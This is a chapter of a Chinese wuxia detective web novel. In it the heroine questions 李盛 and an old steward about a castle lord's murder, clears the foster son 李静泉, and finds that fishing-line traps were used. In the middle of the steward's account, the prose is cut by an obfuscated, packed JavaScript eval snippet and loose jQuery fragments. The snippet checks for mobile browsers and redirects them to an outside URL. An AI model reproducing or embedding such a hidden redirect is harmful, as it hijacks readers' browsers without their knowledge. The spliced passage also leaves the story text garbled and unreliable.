17. 第 17 章

作品:《渡春

    17.


    “凶手肯定是他!那夜我只感觉父亲房中格外安静,便想着去看看,没曾想李静泉那小畜生竟对我父亲痛下杀手!”


    李盛声泪俱下控诉着李静泉的罪行,仿佛那个跟他一起生活了十三年的人根本不是他相亲的异兄弟。


    罗凌在一旁沉思,李堡主死的蹊跷,而且按照李静泉那种性子,一个人若是救了他性命,他怕是巴不得把心挖出来把那人供着,虽然他们一起相处时间不多,但平日里便能感觉到他如何待人,更不用说和他一起生活十三年的人,如果他是伪装的,那伪装十三年又是为什么。


    “李公子,容我冒昧一问,那日你父亲死的时候,你是否有注意到他的断手,你有看到他的断手在哪里么?”罗凌盯着他,不想错过每一处可观察的细节。


    李盛听着这话,像是听到什么洪水猛兽,他音量拔高:“没有!我没有看见我爹的手!肯定是李静泉拿走了!”


    “你到底犹豫什么!你是不是想包庇他!是不是想包庇他!”李盛突然暴怒,他冲过来想抓住罗凌衣领。


    柳淳生将罗凌拉到身后,一扇打掉李盛的手,白楚唯也抽出鞭子护在罗凌面前,她早就想抽这傻逼了。


    李盛挨痛躲闪,但看向罗凌的目光仍是带着滔天的怒火与恨意。


    罗凌隔着两人同她对视,她的目光在同李盛触及时,显得锐利又明亮,李盛感觉自己像是被扒光衣服看透,心中怒火直增不减,直到暗中向他看来一道冰冷视线,他吓的气焰消散。


    没有在李盛这里得到有用线索,罗凌决定从其他方面着手。


    找来铁沙堡的老管家,罗凌详细追问了有关那天的事,根据老管家说辞,那天李堡主似乎非常疲惫,酉时未到便早早遣退众人回到房间休息,其间一点动静都未听到,直到亥时一刻,李公子想去找父亲商量一些杂事,等带着人赶到时,就是李静泉抱着死去的李堡主跪在地上。


    李公子令下人追踪,最终无果而反。


    “亥时?李公子每次都这么晚找他父亲么?”


    罗凌反问。


    老管家犹豫着,似乎是有什么隐情。


    “李管家您放心说好了,这只是为了尽快找到凶手需要,另外的事情我们不会外传的。”柳淳生看出他担忧,微笑开口,他的招牌笑一直被罗凌吐槽诈骗,只要挂着那副微笑,就会让人感觉如沐春风,无条件信任。


    管家轻叹一口气,说起了往事:“我跟着两位少爷那么多年,他们什么性情我也是清楚的,若真的要说静泉少爷杀了老爷那我是万万不信的。”


    李静泉当初被李堡主带回时,浑身脏兮兮的,身上青一块紫一块,没有一处好肉,李堡主吩咐管家将他带下去洗漱干净。


    家里来了个同自己差不多年岁的少年,小李盛也好奇赶来凑热闹,李静泉被佣人扒光了按着入桶,他以为这些人要把自己淹死,于是开始死命挣扎,扑腾的水花把周围人淋了个透。


    李盛看着一向严肃的家中也有这样的时刻,忍不住在一边笑了出声,李静泉闻声看过去,也发现了李盛。


    “他好像有点害怕,我也来帮他。”小李盛迈着短腿走到浴桶边,挽起袖子拿着水瓢舀水,轻轻浇在李静泉身上。


    当时管家问李堡主为何带回李静泉,李堡主笑着开口:“我看那小子有一双坚韧不服输的眼睛,身上气质也比其他乞儿干净,便想着带回来给盛儿做伴,盛儿从小体弱,武功也没法练太高,他不一样,就算哪一天我不在了,他也能替我好好保护盛儿。”


    管家明白,他问李堡主有没有取名,李堡主看着院子的小池,目光柔和:“静泉,让他叫李静泉好了,取我的静字给他,滴水之恩,涌泉相报,希望他以后也不要忘记这份恩情,替我继续守护铁沙堡。”


    李盛给李静泉洗漱完成,又给他上药,年龄差不多的小孩就是容易玩到一起,李静泉眼见李盛散发的善意,只对他的接触不抵抗。


    李堡主叫来二人,李静泉拉着李盛衣摆前去,看到收拾干净的李静泉,李堡主点了点头。


    “这样收拾一下也是个很灵气的小孩嘛,从今天起,入我铁沙堡你就已经抛弃过往了,从现在起,你就叫李静泉,盛儿,他以后就是你没有血缘的哥哥了。”李堡主向二人说道。


    “哥哥?!”李盛显得格外惊喜,“那他以后能天天陪我玩儿了么?”


    “当然,”李堡主走下椅子,抬手摸了摸两人脑袋,“他以后也会和你一起读书,练剑,会在你身边时时刻刻保护你,当然,你们也要向真正的手足那样相依。”


    时间过的飞快,李盛和李静泉在铁沙堡渡过了一个又一个春冬,刚开始堡中也有其他人不待见李静泉这个外来人,时常欺负他,李静泉承受着,但李盛每每都会为他出头。


    但不知哪天起,这一切全变了,或许是府中人对李静泉越来越多的称赞,是他们对他私生子身份的猜测,还有自己父亲给的越多的赞赏眼神,李盛只感觉自己被全方位打压着。


    直到某日下人在背后议论二人,说李盛表现一点也不像李堡主,反而李静泉这个外来的……


    李盛没有听完就冲了出去,他责罚了几人,至此断裂的间隙滋生,直至李堡主死亡。


    “少爷他这之后还想发布江湖暗杀令追踪,但最后被我劝了下来,发展成这样,铁沙堡也被外人虎视眈眈,是我对不起老爷!”管家声泪俱下,罗凌安静听着往事,他很想感慨,但没有时间了,每拖一秒都会更加糟糕,他敏锐注意到管家话中异常。


    “李堡主为什么还在两人小的时候就要给李盛找个保护他的后路,就算两人长大后,可他不都还很健壮么?铁沙堡现在情况很糟糕么?”


    罗凌的问题像跑弹一般。


    说到这个,管家也是无奈:“铁沙堡早在很多年前就被各方明里暗里盯上,这些年堡主更是遭到暗杀无数


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806026|158520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,但为了不让少爷担忧,都是我们偷偷处理,少爷从小体弱,在保护下长大,在还没能交给他所有老爷就走了,加上静泉少爷的事,手底不服的人很多……”


    罗凌明白了,依李盛的性格,越是不服他的,他怕是越气急败坏,但无奈自己没能有能力让众人信服。


    “李堡主被人刺杀多次,那这下有机会能杀他的人就更多了。”罗凌提出到李堡主屋内查看,管家领着几人前去。


    路上一直默不作声的江卓化突然开口:“真是虚伪又可悲的人,自己没什么能力,反而将怒火迁就到其他人身上。”


    罗凌目光终于看向他。


    “你说错了,那是因为他人的过度保护,所以无人在意他挣扎的内心。”


    江卓化对这话倒是意外,明明罗凌还那么看不过李盛,现在怎么帮他说起了话。


    柳淳生知道她想到什么,上前紧靠着罗凌,熟悉的身影在她旁边,罗凌知道柳淳生这是在安慰她的情绪,心中阴影退去。


    李堡主的房间保持着死去的原样,管家说这是李盛为了怀念父亲保持着。


    房间里蒙着一层灰,罗凌小心翻查屋内,最终在书案角落发现一处细微的划痕,罗凌回想着胡烈房屋布局,想是想起什么,她急匆匆跑回原处。


    胡烈靠窗的那面墙边也有一个小矮柜,罗凌趴在地上将四个角看了一遍,果然,也有一样的划痕。


    罗凌叫上林教让他辨认。


    “确实是线,小姐。”


    线索串上了,两者都是凶手事先在房间安装上机关,等到进到屋中,开门的那一瞬间就会触发机关。


    “所以,胡当家和李堡主就是被这样杀害,但李静泉早在两日前就离开了铁沙堡去往钊县,这一来一回的时间,跟据仵作给出死亡时间,饶是轻功最好的江湖高手日夜兼程也不可能赶到,所以凶手不可能是他。”罗凌就这样证明了李静泉的清白,“不过到底是什么线?居然能将暗器用到这种极致,还有杀人后暗器都去哪里了?”


    江卓化对这种倒是在行,他上前观察一番:“原来如此,这个划痕程度,是渔线啊。”


    “渔线?!”罗凌惊讶,她想通了,“这样就通了,只要用好渔线,将胳膊切成那样整齐也不无可能。”


    “原来是这样的啊。”秦昭和柳淳生也明白过来。


    “但是要做成这种样子,看来凶手不管在手法还是武力方面,看着都水平不低呀。”秦昭又补充道。


    “没错,而且他一定有帮手,不然要轻易潜入,又熟悉每一个人,连凶器都未能找到,他一定是在铁沙堡的人,武功还不低。”能怀疑的对象一下缩小,罗凌终于能松一气。


    “那我们究竟要找谁呢?”白楚唯问道。


    罗凌莞尔一笑,她心中已经有了答案,最终黑手肯定是那几人中的一个,现在开始,才是这件事的高潮。


    接下来,只需要去印证就好了。